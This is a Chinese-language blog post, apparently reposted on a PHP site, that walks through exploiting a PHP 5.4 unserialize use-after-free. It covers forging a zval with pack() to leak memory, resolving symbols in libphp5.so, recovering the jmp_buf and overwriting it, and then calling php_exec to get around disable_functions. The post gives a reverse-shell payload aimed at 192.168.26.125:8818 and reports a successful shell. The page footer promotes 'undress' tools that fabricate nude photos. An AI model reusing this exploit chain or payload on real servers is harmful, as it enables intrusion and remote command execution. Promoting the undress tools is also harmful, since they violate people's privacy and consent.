目錄
php内存破坏漏洞的exp编写和其利用方式
环境搭建
漏洞基本原理
泄漏关键函数的地址
写堆栈内存
注意事项
进一步利用
后记
首頁 後端開發 php教程 Php内存破坏漏洞exp编写和禁用函数绕过

Php内存破坏漏洞exp编写和禁用函数绕过

Jun 23, 2016 pm 01:07 PM

php内存破坏漏洞的exp编写和其利用方式

首先看一下原作者的一些思路,drops上有其前两部分的翻译: part 1 part 2 第三部分太监了,不过,也可能是审核没过,因为我看完这三篇文章,也是云里雾里的,特别是第三篇,原作者可能实力太屌,他简单提到的一些利用方式我研究了一段时间还是不能完全理解(然而他给出的post中没有任何细节,都是一个名词代过,真是装逼之大成)。我也试着把第三部分翻译了一下,不太懂英文的同学可以看下。part 3

之后下面我按照我的一些方式来实现对这个漏洞的利用,感谢龙哥提供的写堆栈方法。

环境搭建

原作者用的是php5.4.34,我也是用这个测试的,apache用的最新版。ubuntu32 。 编译php的时候有些坑啊,跟正题没啥关系,不啰嗦了,直接扔个我配置时的脚本吧。。。。

apt-get install gcc g++ make vim libxml2-dev apache2 apache2-devwget http://jp2.php.net/get/php-5.4.34.tar.gz/from/this/mirrortar -xzf mirrorcd php-5.4.34/./configure --with-apxs2=/usr/bin/apxs2make && make installcp php.ini-production /usr/local/lib/php.ini vi /etc/apache2/apache2.confAddType application/x-httpd-php .php .htm .htmla2dismod mpm_eventa2enmod mpm_preforkservice apache2 restart
登入後複製

之后注意一点,我的apache使用php的方式是在php编译时生成了libphp5.so这个lib库,在apache配置里查找这个库的地址,比如我的是/usr/lib/apache2/modules/libphp5.so, 库里的偏移跟你的php的可执行文件的偏移肯定是不一样的,readelf的时候要read这个。

之后gdb调试的时候,建议让apache单线程运行,先source一下/etc/apache2/envvars ,之后gdb apache2 ,r -X,就可以调试了。

漏洞基本原理

该漏洞的基本原理请参照原作blog的第一部分。简述一下就是当序列化字符串中,在同一个生命域中如果出现了俩相同的key值,也就是相同的变量名的话,在反序列化的时候,后面的会把前面的覆盖,而此时前面的那个变量原来申请的内存空间就被free掉了,这时,我们可以通过序列化一个指针,指向hash表,而此时hash表中的那一项仍然指向刚刚被释放掉的变量内存,这样就发生了uaf。

序列化数据结构如下:

  • a – array 4
  • b – Boolean 3
  • d – double 2
  • i – integer 1
  • o - common object
  • r – reference 7
  • s - non-escaped binary string
  • S - escaped binary string 6
  • C - custom object
  • O – class 5
  • N – null 0
  • R - pointer reference
  • U - unicode string

之后我们要泄漏任意内存的话,只要构造一个php的变量数据结构 zval (PHP使用的内部数据结构),之后让其指向我们需要读的内存就可以了。

struct _zval_struct {	/* Variable information */	zvalue_value value;		/* value */	zend_uint refcount__gc;	zend_uchar type;	/* active type */	zend_uchar is_ref__gc;};typedef union _zvalue_value {	long lval;	/* long value */	double dval;	/* double value */	struct {		char *val;		int len;	} str;	HashTable *ht;       /* hash table value */	zend_object_value obj;} zvalue_value;
登入後複製

根据原作在part1中给出的“使用pack() 伪造一个string ZVAL结构”,如下:

  • 类型(例子中用的是unsigned int)
  • 地址(我们想要泄露的地址)
  • 长度(我们想要泄露内存的长度)
  • 参考标志(0)
  • 数据类型(6,代表String类型)

<?php $fakezval = pack(	'IIII',     //unsigned int	0x08048000, //address to leak	0x0000000a, //length of string	0x00000000, //refcount	0x00000006  //data type);
登入後複製

这样我们只要在释放内存之后,立即申请一个假的zval,就可以重新使用这块内存,并读取任意地址了。

泄漏关键函数的地址

首先是确定大小端,之后是泄漏一个对象句柄的地址,这些在原作的part2部分已经有说明,不再赘述。 现在有一个对象句柄的地址了,之后干啥呢,要找到php库的基址。这个简单,只要找一个最小的句柄地址,往前搜就可以了,直到搜到elf的头部 \x7fELF ,这个地址就是基址了。

找到这个基址之后,就是根据elf的文件结构,(查看程序员的自我修养),找到动态节,string table,符号表。这样的话,你想要哪个函数,就在string table里搜这个函数名,之后用这个偏移在符号表里找到函数地址就可以了。真正用的时候,记得加上基址。

接下来到了原作的第三部分,我们现在要找的东西跟原作是一样的:

  • zend_eval_string
  • executor_globals
  • JMP_BUF

zend_eval_string 是为了控制eip后,让他跳到这个地址上执行,这样就能执行任意php代码。 executor_globals这个是为了找到其结构中的jmp_buf,变量名叫bailout,第三部分讲了这些,我就不放原作的图了。 最蛋疼的地方是这个jmp_buf这是我们利用的关键,逆向该函数如下:

mov    0x4(%esp),%eax   //eax == jmp_bufmov    %ebx,(%eax)         //第1个寄存器ebxmov    %esi,0x4(%eax)    //第2个寄存器esimov    %edi,0x8(%eax)   //第3个寄存器edilea    0x4(%esp),%ecxxor    %gs:0x18,%ecxrol    $0x9,%ecxmov    %ecx,0x10(%eax) //第5个寄存器espmov    (%esp),%ecxxor    %gs:0x18,%ecxrol    $0x9,%ecxmov    %ecx,0x14(%eax) //第6个寄存器eipmov    %ebp,0xc(%eax)  //第4个寄存器ebp
登入後複製

所以在jmp_buf里寄存器的排列如下: ebx , esi , edi ,ebp ,esp , eip ,return_addr

我们只要控制eip就好,但是如果其他部分的值不对的话,要么执行完crash,要么直接crash,所以我们还是要把他们恢复出来。原作者已经在part3里说明了其使用了glibc有一个叫PTR_MANGLE宏进行混淆,我们如果要恢复eip和esp话需要先找到set_jmp的返回地址。这个需要找到 php_execute_script 这个函数地址。 具体的破解jmp_buf的方法请参照part3最后的视频部分,原作在其中做了讲解。

我们破解了jmp_buf之后就可以控制eip了,让他跳转到eval函数上执行,就可以执行任意php代码了,并且这种方式非常稳定,不会让apache crash。

写堆栈内存

这部分原作在part3中给出了一种直接写内存的方法,然而那个实在是有些深奥,他也没有仔细说明。这里我提供一种比较蛋疼的写堆栈的方法。

首先说明一下php中内存缓存块这个东西,缓存块在被free掉之后回到链上,当有新变量申请内存时,如果这个块的容量足够,则刚刚被释放的块立即从空闲链上拿下来使用。所以,我们只要先free掉一块内存,之后构造zval让其指向一个缓存块,之后再free掉该指针,之后立即反序列化一个新变量,那么变量的值就写入到刚刚被释放的缓存块中了。这是一种稳定的写堆栈方式。 缓存块的内存结构是这样的: XX 00 00 00 ( 0x10 <= XX <= 0x88 ) XX XX XX XX 上面是8个字节的头部,第一个字节,说明了这个缓存块算上头部,一共多大。头部后面是内存的内容,可任意。

这样的话,我们只要在jmp_buf的地址前面搜索内存,找到这样一个头部,将其当作缓存块来使用就可以了,比如我搜索其前面0x1000的内存如下:

最好找一些位置距离不是很远的头部来利用,最好是小于600,原理上多大都可以,但是越小越好。很难遇到只覆盖一次的情况,因为大多数头部距离缓存块都大于0x80,但是我们可以连续构造来利用,当我们使用第一个缓存块时,我们把其尾部的八个字节,重写为缓存块头部,如\x88\x00\x00\x00\x01\x00\x00\x00,这样的话,下一次我们就可以从我们重写的这个头部开始重写内存,写入0x80个字节的数据,如果还是没有到达jmp_buf的地址的话,我们同样将尾部构造为缓存块头部,这样一直构造,一直重写,直到将jmp_buf重写为我们需要的布局。这样就完成了利用。

注意事项

首先在payload里,不能出现 0x5c ,就是’',这个地方有点奇怪,如果出现0x5c,反序列会失败,我猜测是转义字符的问题,但是不管是2个0x5c还是4个0x5c都无法正常反序列化,可能跟python的转义有关,因为php反序列化是有字段的长度的,理论上来说,里面出现” ,’,\都不会发生截断,所以出现莫名其妙的反序列失败的时候,要多半儿是这个问题。

第二点,注意一个叫做 old_cwd 的变量,这个变量位于 JMP_BUF 地址前136个字节处,如果这个地址上填充的地址为\00,则会抛出异常,apache会crash,并且,该变量是个指针,load_jmp执行时会在此寻址,所以要求该变量必须是个合法地址,所以我们要在 JMP_BUF 前136字节处填充上jmpbuf的地址就可以了。

进一步利用

我们刚才将eip劫持到了zend_eval_string的入口地址上,这样我们就可以执行任意php代码,并且比较稳定,不会发生crash。 但是这样有局限性,比如我在php.ini中禁用如下函数:

  • system
  • exec
  • passthru
  • escapeshellcmd
  • pcntl_exec
  • shell_exec
  • fsockopen
  • pfsockopen
  • dl
  • popen
  • proc_open
  • php_uname
  • phpinfo
  • disk_free_space
  • disk_total_space

由于eval也是要受配置文件控制的,所以执行payload时会反回如下错误:

这样我们要绕过这个其实很简单,毕竟我们在控制二进制程序流程,怎么玩儿都行。 我一开始想到的方法是构造一个rop链,直接执行shellcode,我用ROPgadgot,用level=5直接搜了libphp5.so,构造出了rop链,但是发现这个利用方式很蛋疼,因为rop链很长,如果用我们刚才那种写栈的方法,每次最多只能写入120个字节,所以很困难。最后我强行调整了rop链在其中加了几段填充字符,用这些填充字符来分割payload,这样多次写入,但是最后exploit的时候还是失败了,不知道是不是哪个偏移没算对,payload一打过去,gdb里apache连报错都没有,直接退出。

之后我就想到,我可以直接调用php中系统命令执行的底层函数。翻了一下php源码,找到其命令执行的函数原型,如下:

/* php_exec * If type==0, only last line of output is returned (exec) * If type==1, all lines will be printed and last lined returned (system) * If type==2, all lines will be saved to given array (exec with &$array) * If type==3, output will be printed binary, no lines will be saved or returned (passthru) * */PHPAPI int php_exec(int type, char *cmd, zval *array, zval *return_value){	FILE *fp;	char *buf;	size_t l = 0;	int pclose_return;	char *b, *d=NULL;	php_stream *stream;	size_t buflen, bufl = 0;#if PHP_SIGCHILD	void (*sig_handler)() = NULL;#endif#if PHP_SIGCHILD	sig_handler = signal (SIGCHLD, SIG_DFL);#endif#ifdef PHP_WIN32	fp = VCWD_POPEN(cmd, "rb");#else	fp = VCWD_POPEN(cmd, "r");#endif	if (!fp) {		php_error_docref(NULL, E_WARNING, "Unable to fork [%s]", cmd);		goto err;	}	stream = php_stream_fopen_from_pipe(fp, "rb");	buf = (char *) emalloc(EXEC_INPUT_BUF);	buflen = EXEC_INPUT_BUF;	if (type != 3) {		b = buf;		while (php_stream_get_line(stream, b, EXEC_INPUT_BUF, &bufl)) {			/* no new line found, let's read some more */			if (b[bufl - 1] != '\n' && !php_stream_eof(stream)) {				if (buflen < (bufl + (b - buf) + EXEC_INPUT_BUF)) {					bufl += b - buf;					buflen = bufl + EXEC_INPUT_BUF;					buf = erealloc(buf, buflen);					b = buf + bufl;				} else {					b += bufl;				}				continue;			} else if (b != buf) {				bufl += b - buf;			}			if (type == 1) {				PHPWRITE(buf, bufl);				if (php_output_get_level() < 1) {					sapi_flush();				}			} else if (type == 2) {				/* strip trailing whitespaces */				l = bufl;				while (l-- > 0 && isspace(((unsigned char *)buf)[l]));				if (l != (bufl - 1)) {					bufl = l + 1;					buf[bufl] = '\0';				}				add_next_index_stringl(array, buf, bufl);			}			b = buf;		}		if (bufl) {			/* strip trailing whitespaces if we have not done so already */			if ((type == 2 && buf != b) || type != 2) {				l = bufl;				while (l-- > 0 && isspace(((unsigned char *)buf)[l]));				if (l != (bufl - 1)) {					bufl = l + 1;					buf[bufl] = '\0';				}				if (type == 2) {					add_next_index_stringl(array, buf, bufl);				}			}			/* Return last line from the shell command */			RETVAL_STRINGL(buf, bufl);		} else { /* should return NULL, but for BC we return "" */			RETVAL_EMPTY_STRING();		}	} else {		while((bufl = php_stream_read(stream, buf, EXEC_INPUT_BUF)) > 0) {			PHPWRITE(buf, bufl);		}	}	pclose_return = php_stream_close(stream);	efree(buf);done:#if PHP_SIGCHILD	if (sig_handler) {		signal(SIGCHLD, sig_handler);	}#endif	if (d) {		efree(d);	}	return pclose_return;err:	pclose_return = -1;	goto done;}
登入後複製

四个参数,前面俩好办,后面俩不想深究,直接看下源码,发现,后面俩参数只有当 type=2 时候才会用到,那就直接用type=0,用 exec 好了。

构造栈:

  • exec_type \x00\x00\x00\x00
  • php_code_addr jmp_buf的地址+44
  • exec_type
  • exec_type
  • php_code bash -c ‘bash -i >& /dev/tcp/192.168.26.125/8818 0>&1’\x00

exploit!如下:

成功反弹shell。

其实后面还有点问题,因为我把shell exit之后,php继续往下执行,结果apache crash掉了。。。。 crash时gdb状态如图:

也没继续往下看,其实已经差不多了,也就是调一下的事儿。

后记

如果大家有更好的思路,或者对原作的利用方式有更深刻的理解,欢迎与我讨论 :-)

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

在PHP API中說明JSON Web令牌(JWT)及其用例。 在PHP API中說明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一種基於JSON的開放標準,用於在各方之間安全地傳輸信息,主要用於身份驗證和信息交換。 1.JWT由Header、Payload和Signature三部分組成。 2.JWT的工作原理包括生成JWT、驗證JWT和解析Payload三個步驟。 3.在PHP中使用JWT進行身份驗證時,可以生成和驗證JWT,並在高級用法中包含用戶角色和權限信息。 4.常見錯誤包括簽名驗證失敗、令牌過期和Payload過大,調試技巧包括使用調試工具和日誌記錄。 5.性能優化和最佳實踐包括使用合適的簽名算法、合理設置有效期、

會話如何劫持工作,如何在PHP中減輕它? 會話如何劫持工作,如何在PHP中減輕它? Apr 06, 2025 am 12:02 AM

會話劫持可以通過以下步驟實現:1.獲取會話ID,2.使用會話ID,3.保持會話活躍。在PHP中防範會話劫持的方法包括:1.使用session_regenerate_id()函數重新生成會話ID,2.通過數據庫存儲會話數據,3.確保所有會話數據通過HTTPS傳輸。

描述紮實的原則及其如何應用於PHP的開發。 描述紮實的原則及其如何應用於PHP的開發。 Apr 03, 2025 am 12:04 AM

SOLID原則在PHP開發中的應用包括:1.單一職責原則(SRP):每個類只負責一個功能。 2.開閉原則(OCP):通過擴展而非修改實現變化。 3.里氏替換原則(LSP):子類可替換基類而不影響程序正確性。 4.接口隔離原則(ISP):使用細粒度接口避免依賴不使用的方法。 5.依賴倒置原則(DIP):高低層次模塊都依賴於抽象,通過依賴注入實現。

在PHPStorm中如何進行CLI模式的調試? 在PHPStorm中如何進行CLI模式的調試? Apr 01, 2025 pm 02:57 PM

在PHPStorm中如何進行CLI模式的調試?在使用PHPStorm進行開發時,有時我們需要在命令行界面(CLI)模式下調試PHP�...

PHP 8.1中的枚舉(枚舉)是什麼? PHP 8.1中的枚舉(枚舉)是什麼? Apr 03, 2025 am 12:05 AM

PHP8.1中的枚舉功能通過定義命名常量增強了代碼的清晰度和類型安全性。 1)枚舉可以是整數、字符串或對象,提高了代碼可讀性和類型安全性。 2)枚舉基於類,支持面向對象特性,如遍歷和反射。 3)枚舉可用於比較和賦值,確保類型安全。 4)枚舉支持添加方法,實現複雜邏輯。 5)嚴格類型檢查和錯誤處理可避免常見錯誤。 6)枚舉減少魔法值,提升可維護性,但需注意性能優化。

如何在系統重啟後自動設置unixsocket的權限? 如何在系統重啟後自動設置unixsocket的權限? Mar 31, 2025 pm 11:54 PM

如何在系統重啟後自動設置unixsocket的權限每次系統重啟後,我們都需要執行以下命令來修改unixsocket的權限:sudo...

解釋PHP中的晚期靜態綁定(靜態::)。 解釋PHP中的晚期靜態綁定(靜態::)。 Apr 03, 2025 am 12:04 AM

靜態綁定(static::)在PHP中實現晚期靜態綁定(LSB),允許在靜態上下文中引用調用類而非定義類。 1)解析過程在運行時進行,2)在繼承關係中向上查找調用類,3)可能帶來性能開銷。

See all articles